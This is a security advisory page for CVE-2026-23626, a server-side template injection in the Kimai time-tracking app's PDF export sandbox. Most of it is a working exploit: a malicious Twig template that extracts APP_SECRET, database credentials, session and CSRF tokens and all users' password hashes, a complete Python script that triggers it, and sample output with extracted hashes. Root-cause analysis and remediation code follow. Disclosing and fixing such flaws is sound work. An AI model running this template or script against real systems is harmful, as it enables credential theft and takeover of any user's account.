CVE-2026-23626
MEDIUM6.8EPSS 0.07%Kimai has an Authenticated Server-Side Template Injection (SSTI)
Description
# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI) ## Vulnerability Summary | Field | Value | |-------|-------| | **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | High (Admin with export permissions and server access) | | **User Interaction** | None | | **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) | | **Affected Versions** | Kimai 2.45.0 (likely earlier versions) | | **Tested On** | Docker: kimai/kimai2:apache-2.45.0 | | **Discovery Date** | 2026-01-05 | --- **Why Scope is "Changed":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context. --- ## Vulnerability Description Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including: 1. **Environment Variables** (APP_SECRET, DATABASE_URL) 2. **All User Password Hashes** (bcrypt) 3. **Serialized Session Tokens** 4. **CSRF Tokens** --- ## Prerequisites 1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD) 2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via: - Filesystem access (server admin) --- ## Test Environment ### Users in Test Instance The test environment contains 2 users whose password hashes were successfully extracted: Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" /> | User | Role | Hash Extracted | |------|------|----------------| | admin | ROLE_SUPER_ADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes | --- ## Confirmed Exploitation Evidence ### Test Date: 2026-01-05 ### Extracted Data (Actual Output from Exploit) ``` ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: change_this_to_something_unique DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APP_ENV: prod 2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"secured_area";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"[email protected]"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";} } } 3. CURRENT USER DETAILS username: admin email: [email protected] password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLE_SUPER_ADMIN, ROLE_USER 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a 5. CSRF TOKENS _csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 _csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58 ===SSTI_EXTRACTION_END=== ``` --- ## Root Cause Analysis ### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php` The export functionality uses `ExportPolicy` which includes `DefaultPolicy`: ```php $this->policy->addPolicy(new DefaultPolicy()); ``` ### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php` ```php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions } public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object } public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } } ``` This allows templates to call methods like: - `app.request.server.get("APP_SECRET")` - Environment variable access - `app.session.get("_security_secured_area")` - Session data access - `entry.user.password` - Password hash access --- ## Exploitation Steps ### Step 1: Deploy Malicious Template Save the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`: ```bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE" <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body> <h1>===SSTI_EXTRACTION_START===</h1> <h2>1. ENVIRONMENT VARIABLES</h2> <pre> APP_SECRET: {{ app.request.server.get("APP_SECRET") }} DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }} APP_ENV: {{ app.request.server.get("APP_ENV") }} APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }} </pre> <h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get("_security_secured_area") }} </pre> <h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} password_hash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre> <h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre> <h2>5. CSRF TOKENS</h2> <pre> _csrf/search: {{ app.session.get("_csrf/search") }} _csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }} _csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }} </pre> <h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre> <h1>===SSTI_EXTRACTION_END===</h1> </body> </html> TEMPLATE' ``` ### Step 2: Run the Exploit ```bash python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! ``` ### Step 3: Extract Text from PDF ```bash pdftotext kimai_extracted_data.pdf - ``` --- ## Detailed Exploit Usage ### Requirements ```bash # Install Python dependencies pip install requests # Install PDF text extraction tool sudo apt install poppler-utils ``` ### Command Syntax ``` python3 ssti_exploit.py <target_url> <username> <password> [template_name] Arguments: target_url - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password template_name - Optional: custom template (default: ssti-extract.pdf.twig) ``` ### Example Usage ```bash # Basic usage python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! # With custom template python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig ``` ### Expected Output ``` ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Connecting to http://localhost:8001 [*] Authenticating as admin [+] Successfully authenticated as admin [*] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimai_extracted_data.pdf ============================================================ RAW EXTRACTED DATA: ============================================================ ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: change_this_to_something_unique DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APP_ENV: prod 2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...} 3. CURRENT USER DETAILS username: admin email: [email protected] password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLE_SUPER_ADMIN, ROLE_USER 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a 5. CSRF TOKENS _csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 _csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58 ===SSTI_EXTRACTION_END=== ============================================================ CRITICAL FINDINGS SUMMARY: ============================================================ [!] APP_SECRET: change_this_to_something_unique [!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 [!] Password Hashes Found: 2 unique admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye... lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a... [!] Session Token: Present (serialized PHP object) [!] CSRF Tokens: 2 found [+] Exploitation successful! [+] Full output saved to: kimai_extracted_data.pdf ``` ### Output Files | File | Description | |------|-------------| | `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data | ### Manual PDF Text Extraction ```bash # Extract text from PDF pdftotext kimai_extracted_data.pdf - # Save to file pdftotext kimai_extracted_data.pdf extracted_secrets.txt # Search for specific secrets pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)" ``` ### Error Handling | Error Message | Cause | Solution | |---------------|-------|----------| | `Cannot connect to <url>` | Target unreachable | Check URL and network | | `Authentication failed` | Wrong credentials | Verify username/password | | `Template not found` | Template not deployed | Deploy template first (Step 1) | | `Access denied` | Insufficient permissions | Use admin account with export perms | | `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` | --- ## Complete Exploit Script (ssti_exploit.py) ```python #!/usr/bin/env python3 """ Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig Usage: python3 ssti_exploit.py <target_url> <username> <password> Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! Author: Security Research Date: 2026-01-05 """ import requests import re import subprocess import sys import os class KimaiSSTIExploit: def __init__(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password def login(self): """Authenticate to Kimai""" print(f"[*] Connecting to {self.target}") try: login_page = self.session.get(f"{self.target}/en/login", timeout=10) except requests.exceptions.ConnectionError: raise Exception(f"Cannot connect to {self.target}") except requests.exceptions.Timeout: raise Exception(f"Connection timeout to {self.target}") if login_page.status_code != 200: raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}") csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text) if not csrf_match: raise Exception("CSRF token not found on login page") csrf = csrf_match.group(1) print(f"[*] Authenticating as {self.username}") login_resp = self.session.post( f"{self.target}/en/login_check", data={ "_username": self.username, "_password": self.password, "_csrf_token": csrf }, allow_redirects=True, timeout=10 ) # Check for successful login if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower(): if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower(): raise Exception("Invalid username or password") raise Exception("Authentication failed - check credentials") print(f"[+] Successfully authenticated as {self.username}") return True def trigger_ssti(self, template_name="ssti-extract.pdf.twig"): """Trigger SSTI via export functionality""" print(f"[*] Triggering SSTI with template: {template_name}") try: export_resp = self.session.post( f"{self.target}/en/export/data", data={ "renderer": template_name, "state": "3", # All states "billable": "0", # All billable states "exported": "5", # All export states "markAsExported": "0", }, timeout=60 ) except requests.exceptions.Timeout: raise Exception("Export request timed out") if export_resp.status_code == 404: raise Exception(f"Template '{template_name}' not found - deploy template first") if export_resp.status_code == 403: raise Exception("Access denied - user lacks export permissions") if export_resp.status_code != 200: raise Exception(f"Export failed: HTTP {export_resp.status_code}") if b'%PDF' not in export_resp.content[:10]: if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower(): raise Exception("Template rendering error - check template syntax") raise Exception("Invalid response - expected PDF output") print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes") return export_resp.content def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"): """Extract text from PDF using pdftotext""" with open(output_path, "wb") as f: f.write(pdf_content) try: result = subprocess.run( ["pdftotext", output_path, "-"], capture_output=True, text=True, timeout=30 ) if result.returncode != 0: print(f"[-] pdftotext error: {result.stderr}") return None return result.stdout except FileNotFoundError: print("[-] pdftotext not installed") print(" Install with: apt install poppler-utils") return None except subprocess.TimeoutExpired: print("[-] pdftotext timed out") return None def parse_findings(self, text): """Parse and categorize extracted data""" findings = { "app_secret": None, "database_url": None, "password_hashes": [], "session_token": None, "csrf_tokens": [] } lines = text.split('\n') for i, line in enumerate(lines): line = line.strip() if "APP_SECRET:" in line: findings["app_secret"] = line.split("APP_SECRET:")[-1].strip() if "DATABASE_URL:" in line or "mysql://" in line: if "mysql://" in line: findings["database_url"] = line.strip() elif i + 1 < len(lines): findings["database_url"] = lines[i + 1].strip() if "$2y$" in line: findings["password_hashes"].append(line) if "UsernamePasswordToken" in line: findings["session_token"] = "Present (serialized PHP object)" if "_csrf" in line.lower() or len(line) == 43: if ":" in line: findings["csrf_tokens"].append(line) return findings def print_banner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ """) def main(): print_banner() if len(sys.argv) < 4: print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]") print() print("Arguments:") print(" target_url - Kimai instance URL (e.g., http://localhost:8001)") print(" username - Valid admin username") print(" password - User password") print(" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)") print() print("Example:") print(" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!") print() print("Prerequisites:") print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig") print(" 2. User must have export permissions (ROLE_ADMIN or higher)") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig" exploit = KimaiSSTIExploit(target, username, password) try: # Step 1: Authenticate exploit.login() # Step 2: Trigger SSTI pdf_content = exploit.trigger_ssti(template) # Step 3: Save PDF output_file = "kimai_extracted_data.pdf" with open(output_file, "wb") as f: f.write(pdf_content) print(f"[+] PDF saved to: {output_file}") # Step 4: Extract and display text text = exploit.extract_text(pdf_content) if text: print() print("="*60) print("RAW EXTRACTED DATA:") print("="*60) print(text[:2000]) if len(text) > 2000: print(f"\n... [{len(text) - 2000} more characters]") # Parse findings findings = exploit.parse_findings(text) print() print("="*60) print("CRITICAL FINDINGS SUMMARY:") print("="*60) if findings["app_secret"]: print(f"[!] APP_SECRET: {findings['app_secret']}") if findings["database_url"]: print(f"[!] DATABASE_URL: {findings['database_url']}") if findings["password_hashes"]: unique_hashes = list(set(findings["password_hashes"])) print(f"[!] Password Hashes Found: {len(unique_hashes)} unique") for h in unique_hashes[:5]: print(f" {h[:80]}...") if len(unique_hashes) > 5: print(f" ... and {len(unique_hashes) - 5} more") if findings["session_token"]: print(f"[!] Session Token: {findings['session_token']}") if findings["csrf_tokens"]: print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found") print() print("[+] Exploitation successful!") print(f"[+] Full output saved to: {output_file}") return 0 except KeyboardInterrupt: print("\n[-] Interrupted by user") return 130 except Exception as e: print(f"[-] Exploitation failed: {e}") return 1 if __name__ == "__main__": sys.exit(main()) ``` --- ## Impact Analysis | Extracted Data | Security Impact | |---------------|-----------------| | `APP_SECRET` | Can forge Symfony login links to access ANY user account | | `DATABASE_URL` | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks | ### Attack Chain Example 1. Exploit SSTI → Extract `APP_SECRET` 2. Use `APP_SECRET` to forge login link for target user 3. Access target user's account without knowing their password --- ## Remediation ### Immediate Fix Replace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`: ```php // src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy()); // To: $this->policy->addPolicy(new InvoicePolicy()); ``` ### Additional Hardening 1. **Block environment access in templates:** ```php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } } ``` 2. **Block session access in templates:** ```php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); } ``` 3. **Restrict User object property access:** ```php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); } ``` --- Reported by: Mahammad Huseynkhanli
Affected packages (1)
- Packagist/kimai/kimaifrom 0, < 2.46.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.8 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N |
References (7)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-23626
- PATCHhttps://github.com/kimai/kimai
- WEBhttps://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f
- WEBhttps://github.com/kimai/kimai/pull/5757
- WEBhttps://github.com/kimai/kimai/releases/tag/2.46.0
- WEBhttps://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg
- WEBhttps://twig.symfony.com/doc/3.x/api.html#sandbox-extension